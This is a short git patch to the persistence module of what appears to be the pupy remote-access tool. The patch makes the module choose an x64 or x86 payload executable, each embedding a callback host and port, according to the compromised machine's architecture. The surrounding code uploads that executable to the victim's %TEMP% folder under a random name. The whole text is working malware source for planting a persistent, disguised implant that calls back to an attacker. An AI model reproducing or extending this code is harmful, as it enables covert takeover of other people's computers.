From 48eb75eedf7605bda07e2da5c263a6c707197c0f Mon Sep 17 00:00:00 2001
From: Alex Karanin <42656c6b6f@gmail.com>
Date: Mon, 28 Sep 2015 15:03:52 +0300
Subject: [PATCH] Select arch in PersistenceModule

---
 pupy/modules/persistence.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pupy/modules/persistence.py b/pupy/modules/persistence.py
index 54a8cf68..ded697be 100644
--- a/pupy/modules/persistence.py
+++ b/pupy/modules/persistence.py
@@ -27,7 +27,10 @@ class PersistenceModule(PupyModule):
 
 			self.info("generating exe ...")
 			#generating exe
-			exebuff=pupygen.get_edit_pupyx86_exe(host, port)
+			if self.client.desc['proc_arch']=="64bit":
+				exebuff=pupygen.get_edit_pupyx64_exe(host, port)
+			else:
+				exebuff=pupygen.get_edit_pupyx86_exe(host, port)
 
 			remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
 			self.info("uploading to %s ..."%remote_path)